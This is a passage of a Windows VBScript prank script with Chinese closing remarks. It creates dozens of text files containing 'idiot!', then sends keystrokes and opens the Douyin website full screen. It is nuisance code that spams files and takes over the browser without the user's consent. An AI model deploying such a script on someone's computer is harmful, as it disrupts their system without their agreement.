set fw=fso.createtextfile("鸡你太美73.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美74.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美75.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美76.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美77.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美78.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美79.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美80.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美81.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美82.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美83.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美84.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美85.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美86.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美87.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美88.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美89.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美90.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美91.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美92.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美93.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美94.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美95.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美96.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美97.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美98.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美99.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美100.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美101.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美102.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美103.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美104.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美105.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美106.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美107.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美108.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美109.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美110.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美111.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美112.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美113.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美114.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美115.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美116.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美117.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美118.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美119.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美120.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美121.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美122.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美123.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美124.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美125.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美126.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美127.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美128.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美129.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美130.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美131.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美132.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美133.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美134.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美135.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美136.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美137.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美138.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美139.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美140.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美141.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美142.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美143.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美144.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美145.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美146.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美147.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美148.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美149.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美150.txt",2)
fw.writeline("idiot!")
s.sendkeys"{F5}"
Wshell.Run "https://www.douyin.com/"
wscript.sleep 4000
s.sendkeys"{F11}"
s.sendkeys"{H}"
代码有点长,不喜勿喷
最后说一下,账号是"A ",密码是"114514"